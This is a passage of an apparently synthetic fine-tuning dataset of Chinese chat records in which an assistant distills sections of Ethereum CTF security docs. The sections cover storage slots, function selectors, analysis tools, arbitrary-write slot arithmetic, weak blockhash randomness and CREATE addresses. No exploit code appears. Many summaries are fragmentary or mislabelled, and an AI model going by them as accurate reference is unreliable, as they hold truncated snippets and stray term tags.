"blockchain", "ethereum", "attacks", "delegatecall.md"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-1c048595fe155ec8b0f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「插槽式数组存储」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“插槽式数组存储”展开。\n- ---------------------------------- | 0 | # slot 0 ---------------------------------- | 1 | # slot 1 ---------------------------------- | 2 | # slot 2 ---------------------------------- | ... | # ... ---------------------------------- | ... | # 每个插槽 32 字节 --...\n- 当数据长度是已知时，其具体的存储位置将在编译时指定，而对于长度不确定的类型（如动态数组、映射），则会按一定规则计算存储位置。以下是对不同类型变量的储存模型的具体分析。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 489, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "插槽式数组存储", "heading_path": ["插槽式数组存储"], "original_id": "docs-3b35e4026b765b3ed676", "original_line": 152, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "571dc9aeb77af7695435ddfa", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "storage.md"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-1d73ad366fc6bfcbeb89", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「动态数组」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储 > 动态数组\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 的动态数组，其同样会占用对应位置 p 处的插槽，用以储存数组的长度，而数组真正的起始点会位于 keccak256(p) 处（字节数组和字符串在这里是一个例外，见下文）。\n- 如以下合约： ``solidity pragma solidity ^0.4.0;\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 6 行，首行 `pragma solidity ^0.4.0;`\n- plain: 15 行，首行 `-----------------------------------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 848, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "动态数组", "heading_path": ["插槽式数组存储", "动态数组"], "original_id": "docs-f714c4fa6a9fc4cfef71", "original_line": 155, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "f5c9cb2496c93bd3026cad31", "subcategory": "blockchain/ethereum/storage.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "storage.md", "code:solidity"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-1fa98068feb8bdbd4b81", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/resources.md` 中的章节「Static and Dynamic Analysis」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/resources.md`\n标题：学习资源\n章节：学习资源 > Security Tools > Static and Dynamic Analysis\n路径分类：blockchain / blockchain/ethereum/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Static and Dynamic Analysis”展开。\n- Using MythX requires an API key from mythx.io. - Mythril - The Swiss army knife for smart contract security. - Slither - Static analysis framework with detectors for many common Solidity issues.\n- It has taint and value tracking capabilities and is written in Python. - Contract-Library - Decompiler and security analysis tool for all deployed contracts. - Echidna - The only available fuzzer for Ethereum software.\n- MythX - MythX is a professional-grade cloud service that uses symbolic analysis and input fuzzing to detect common security bugs and verify the correctness of smart contract code.\n\n关键术语：\n- ROP/JOP\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 2089, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "Static and Dynamic Analysis", "heading_path": ["学习资源", "Security Tools", "Static and Dynamic Analysis"], "original_id": "docs-78ffb80677cc4bd30bcd", "original_line": 141, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "source_root": "docs", "source_sha256": "06890a673d8c6e7a20d5639ee5700d7ad0609264f8f995906909720c78edca9e", "split": "train", "split_group_key": "52bf1812356911ac9acc9dac", "subcategory": "blockchain/ethereum/resources.md", "terms": ["ROP/JOP", "区块链安全", "AI安全", "blockchain", "ethereum", "resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-29ee64b70116eadd47eb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储 > 例子\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 题目中变量和结构的定义如下： ``solidity contract Bank { address public owner;\n- } mapping(address => FailedAttempt[]) failedLogs;\n- struct FailedAttempt { uint idx;\n- function(uint, bytes12) internal callback;\n- 以 Balsn CTF 2019 的 Bank 一题为例，更为具体讲解以太坊的存储布局。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 18 行，首行 `contract Bank {`\n- solidity: 9 行，首行 `-----------------------------------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 933, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["插槽式数组存储", "例子"], "original_id": "docs-d8797eb24e139f304d1e", "original_line": 157, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "b2406472b3294a9d851725ab", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "storage.md", "code:solidity"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-2c41b8258bb2c80201a1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/resources.md` 中的章节「Linters and Formatters」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/resources.md`\n标题：学习资源\n章节：学习资源 > Security Tools > Linters and Formatters\n路径分类：blockchain / blockchain/ethereum/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Linters and Formatters”展开。\n- Linters improve code quality by enforcing rules for style and composition, making code easier to read and review. - Ethlint - Yet another Solidity linting. - Solhint - A linter for Solidity that provides both Security and Style Guide validations. - Prettier...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 504, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "Linters and Formatters", "heading_path": ["学习资源", "Security Tools", "Linters and Formatters"], "original_id": "docs-a6c4eac01d5144b1b272", "original_line": 143, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "source_root": "docs", "source_sha256": "06890a673d8c6e7a20d5639ee5700d7ad0609264f8f995906909720c78edca9e", "split": "train", "split_group_key": "e4f2181ad2c888db5cd43368", "subcategory": "blockchain/ethereum/resources.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-3c569fa6b444a6438520", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector > 原理\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 某个函数签名的 Keccak (SHA-3) 哈希的前 4 字节，指定了要调用的函数，形如 bytes4(keccak256('balanceOf(address)')) == 0x70a08231 这种形式，0x70a08231 便是 balanceOf(address) 的 Function Selector\n- - 基础原型即是函数名称加上由括号括起来的参数类型列表，参数类型间由一个逗号分隔开，且没有空格 - 对于 uint 类型，要转成 uint256 进行计算，比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e - 函数参数包含结构体，相当于把结构体拆分成单个参数，只不过这些参数用 () 扩起来，详细可看下面的例子\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 385, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Function Selector and Argument Encoding", "Function Selector", "原理"], "original_id": "docs-ce50f11bc6459bfbc9d4", "original_line": 146, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "ddd02dfc10cca7bdcb228295", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-42dc8166731392adc4de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/arbitrarywrite.md` 中的章节「Map 映射变量」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/arbitrarywrite.md`\n标题：Arbitrary Writing\n章节：Arbitrary Writing > 原理 > slot 计算规则 > Map 映射变量\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Map 映射变量”展开。\n- 用 $slotM$ 表示 map 声明的 slot 位置，用 $key$ 表示键，用 $value$ 表示 $key$ 对应的值，用 $slotV$ 表示 $value$ 的存储位置，则 - $slotV = keccak256(key|slotM)$ - $value = sload(slotV)$\n- 在 Solidity 中，并不存储 map 的键，只存储键对应的值，值是通过键的 hash 索引来找到的。\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- arbitrarywrite.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 206, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Map 映射变量", "heading_path": ["Arbitrary Writing", "原理", "slot 计算规则", "Map 映射变量"], "original_id": "docs-0ddfd80434ab3a8fc1f0", "original_line": 163, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "source_root": "docs", "source_sha256": "4ec6775f16eea2aad06238d91ee6b5a45b3846975e2309dbc7f4e4e0264b3580", "split": "train", "split_group_key": "4fe08cb09dcc93ca78e02e75", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "arbitrarywrite.md"], "title": "Arbitrary Writing"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-43d6298a444205f21050", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/resources.md` 中的章节「papers」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/resources.md`\n标题：学习资源\n章节：学习资源 > papers\n路径分类：blockchain / blockchain/ethereum/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“papers”展开。\n- 智能合约 https://github.com/hzysvilla/Academic_Smart_Contract_Papers - 区块链（包括智能合约）https://github.com/jianyu-niu/blockchain_conference_paper - 待补充\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "papers", "heading_path": ["学习资源", "papers"], "original_id": "docs-56f139fec3d42f0f6dcc", "original_line": 139, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "source_root": "docs", "source_sha256": "06890a673d8c6e7a20d5639ee5700d7ad0609264f8f995906909720c78edca9e", "split": "train", "split_group_key": "e0bce699be3eba5f58f11b4c", "subcategory": "blockchain/ethereum/resources.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-4d41a60d189f51a1d711", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/introduction.md` 中的章节「定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/introduction.md`\n标题：Ethereum Overview\n章节：Ethereum Overview > 定义\n路径分类：blockchain / blockchain/ethereum/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“定义”展开。\n- Ethereum is the most actively used blockchain. ------ from wikipedia Ethereum 是区块链 2.0 的代表产物，因其底层使用区块链技术，所以继承区块链的各种特性，其中有一项便是 代码一旦上链，便难以篡改或更改，所以我们需要额外关注它的安全。\n- Ether (ETH) is the native cryptocurrency of the platform.\n- 智能合约 (Smart Contract) 是 Ethereum 中最为重要的一个概念，允许在没有第三方的情况下进行可信交易，这些交易可追踪且不可逆转。\n- > Ethereum is a decentralized, open-source blockchain featuring smart contract functionality.\n- It is the second-largest cryptocurrency by market capitalization, after Bitcoin.\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 515, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "定义", "heading_path": ["Ethereum Overview", "定义"], "original_id": "docs-45002df6523e5f032d6a", "original_line": 137, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/introduction.md", "source_root": "docs", "source_sha256": "55c19886db36176a3b2ab266210a22dc109b8b6d02591d9809ce252fa96bd8a6", "split": "train", "split_group_key": "fbd10a1bf16ba8fab0f100fa", "subcategory": "blockchain/ethereum/introduction.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "introduction.md"], "title": "Ethereum Overview"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-4f00c225a0e103ec1c90", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/randomness.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/randomness.md`\n标题：Randomness\n章节：Randomness > 使用 Blockhash 的伪随机数 > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 2. 使用过去区块的有效 blockhash ，可以编写攻击合约获取相同值。\n- 3. 将猜数字和开奖的交易分开在两个不同区块中，并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源，则可以等待 256 个区块后再进行开奖，消除 blockhash 的不确定性。\n- 1. 误用，如 block.blockhash(block.number) 恒为零。\n- Blockhash 是一个特殊的区块变量，EVM 只能获取到当前区块之前的 256 个区块的 blockhash （不含当前区块），对于这 256 个之外的区块返回 0。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- randomness.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Randomness", "使用 Blockhash 的伪随机数", "原理"], "original_id": "docs-e4f64c774473cf8ac551", "original_line": 181, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "source_root": "docs", "source_sha256": "ba2f6577866112dfaa7937bce8f66b068b3499c7af28aba5f2126be866be7cc5", "split": "train", "split_group_key": "b4c9ad858c81f3d2cacf6e93", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "randomness.md"], "title": "Randomness"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-50cb8837812c17ca08f3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/arbitrarywrite.md` 中的章节「变长数组」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/arbitrarywrite.md`\n标题：Arbitrary Writing\n章节：Arbitrary Writing > 原理 > slot 计算规则 > 变长数组\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 用 $slotA$ 表示变长数组声明的位置，用 $length$ 表示变长数组的长度，用 $slotV$ 表示变长数组数据存储的位置，用 $value$ 表示变长数组某个数据的值，用 $index$ 表示 $value$ 对应的索引下标，则 - $length = sload(slotA)$ - $slotV = keccak256(slotA) + index$ - $value = sload(slotV)$ 变长数组在编译期间无法知道数组的长度，没办法提前预留存储空间，所以 Solidity 就用 $s...\n- note 注：变长数组具体数据存放在 keccak256 哈希计算之后的一片连续存储区域，这一点与 Map 映射变量不同。\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- arbitrarywrite.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 347, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "变长数组", "heading_path": ["Arbitrary Writing", "原理", "slot 计算规则", "变长数组"], "original_id": "docs-add4060b27b8ce15b4e6", "original_line": 164, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "source_root": "docs", "source_sha256": "4ec6775f16eea2aad06238d91ee6b5a45b3846975e2309dbc7f4e4e0264b3580", "split": "train", "split_group_key": "4ea522a8ac914beeed259f37", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "arbitrarywrite.md"], "title": "Arbitrary Writing"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-5aa7671482fecce26633", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/create2.md` 中的章节「CREATE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/create2.md`\n标题：CREATE2\n章节：CREATE2 > 原理 > CREATE\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 如果利用外部账户或者使用 CREATE 操作码的合约账户创建一个合约，那么很容易就能确定被创建合约的地址。\n- 新合约的地址由创建合约交易的发送者账户地址及其 nonce 值计算得到，其具体公式如下： ``python keccak256(rlp.encode(address, nonce))[12:] ``\n- 每个账户都有一个与之关联的 nonce：对外部账户而言，每发送一个交易，nonce 就会随之 +1；\n- 对合约账户而言，每创建一个合约，nonce 就会随之 +1。\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- create2.md\n- code:python\n\n代码/命令片段线索：\n- python: 1 行，首行 `keccak256(rlp.encode(address, nonce))[12:]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 249, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "CREATE", "heading_path": ["CREATE2", "原理", "CREATE"], "original_id": "docs-f421259a28ba4e8bf80a", "original_line": 166, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "source_root": "docs", "source_sha256": "bf2b74e3d23ae3cf1f70f1d7c39cd029f3094d219f8c83c9ebda5d137cec8e08", "split": "train", "split_group_key": "fc91458f510b2fb8883691e0", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "create2.md", "code:python"], "title": "CREATE2"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "split": "train", "type": "ctf_lora_sft"}
